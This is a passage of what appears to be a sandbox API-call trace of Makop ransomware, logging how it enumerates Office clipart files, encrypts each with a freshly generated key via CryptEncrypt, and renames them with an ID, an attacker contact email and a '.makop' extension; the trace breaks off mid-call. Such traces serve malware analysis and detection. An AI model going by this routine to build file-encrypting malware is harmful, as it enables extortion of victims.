ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe17a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xe17a, lpOverlapped=0x0) returned 1 [0129.399] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe180, dwBufLen=0xe180 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe180) returned 1 [0129.400] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.400] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe180, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe180, lpOverlapped=0x0) returned 1 [0129.400] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.400] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xe254, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.401] SetEndOfFile (hFile=0xf0) returned 1 [0129.407] GetProcessHeap () returned 0x48a0000 [0129.407] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0129.407] GetProcessHeap () returned 0x48a0000 [0129.407] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0129.408] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0129.408] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198712.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198712.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0129.409] CloseHandle (hObject=0xf0) returned 1 [0129.409] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x714e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199279.WMF", cAlternateFileName="")) returned 1 [0129.409] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF") returned 63 [0129.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199279.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0129.410] GetProcessHeap () returned 0x48a0000 [0129.410] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0129.410] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0129.410] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0129.410] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0129.415] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.415] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.415] GetProcessHeap () returned 0x48a0000 [0129.415] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0129.415] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0129.415] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.415] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0129.416] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0129.416] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0129.416] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0129.416] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0129.416] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0129.416] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.416] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.416] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.417] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x714e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x714e, lpOverlapped=0x0) returned 1 [0129.418] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7150, dwBufLen=0x7150 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7150) returned 1 [0129.418] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.419] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7150, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7150, lpOverlapped=0x0) returned 1 [0129.419] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.419] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.419] SetEndOfFile (hFile=0xf0) returned 1 [0129.426] GetProcessHeap () returned 0x48a0000 [0129.426] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0129.426] GetProcessHeap () returned 0x48a0000 [0129.426] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0129.426] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0129.426] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199279.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199279.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0129.427] CloseHandle (hObject=0xf0) returned 1 [0129.428] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7c4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199303.WMF", cAlternateFileName="")) returned 1 [0129.428] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF") returned 63 [0129.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199303.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0129.451] GetProcessHeap () returned 0x48a0000 [0129.451] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0129.451] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0129.451] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0129.451] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0129.455] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.455] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.456] GetProcessHeap () returned 0x48a0000 [0129.456] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0129.456] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0129.456] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.456] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0129.456] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0129.456] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0129.456] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0129.457] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0129.457] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0129.457] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.457] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.457] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.457] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7c4e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7c4e, lpOverlapped=0x0) returned 1 [0129.459] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7c50, dwBufLen=0x7c50 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7c50) returned 1 [0129.460] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.460] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7c50, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7c50, lpOverlapped=0x0) returned 1 [0129.460] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.460] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7d24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.460] SetEndOfFile (hFile=0xf0) returned 1 [0129.468] GetProcessHeap () returned 0x48a0000 [0129.468] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0129.468] GetProcessHeap () returned 0x48a0000 [0129.468] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0129.468] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0129.468] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199303.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199303.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0129.469] CloseHandle (hObject=0xf0) returned 1 [0129.470] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199307.WMF", cAlternateFileName="")) returned 1 [0129.470] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF") returned 63 [0129.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199307.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0129.471] GetProcessHeap () returned 0x48a0000 [0129.471] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0129.471] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0129.471] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0129.471] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0129.475] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.475] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.475] GetProcessHeap () returned 0x48a0000 [0129.475] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0129.475] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0129.475] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.475] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0129.476] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0129.476] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0129.476] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0129.476] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0129.476] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0129.476] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.477] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.478] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.478] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xc37e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xc37e, lpOverlapped=0x0) returned 1 [0129.480] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xc380, dwBufLen=0xc380 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xc380) returned 1 [0129.481] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.481] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xc380, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xc380, lpOverlapped=0x0) returned 1 [0129.481] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.481] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xc454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.481] SetEndOfFile (hFile=0xf0) returned 1 [0129.489] GetProcessHeap () returned 0x48a0000 [0129.489] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0129.489] GetProcessHeap () returned 0x48a0000 [0129.489] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0129.489] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0129.489] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199307.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199307.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0129.490] CloseHandle (hObject=0xf0) returned 1 [0129.491] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x662a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199423.WMF", cAlternateFileName="")) returned 1 [0129.491] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF") returned 63 [0129.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199423.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0129.492] GetProcessHeap () returned 0x48a0000 [0129.492] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0129.492] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0129.492] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0129.492] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0129.497] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0129.497] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0129.497] GetProcessHeap () returned 0x48a0000 [0129.497] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0129.497] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0129.497] CryptDestroyKey (hKey=0x48c7128) returned 1 [0129.497] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0129.497] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0129.497] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0129.497] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0129.498] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0129.498] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, 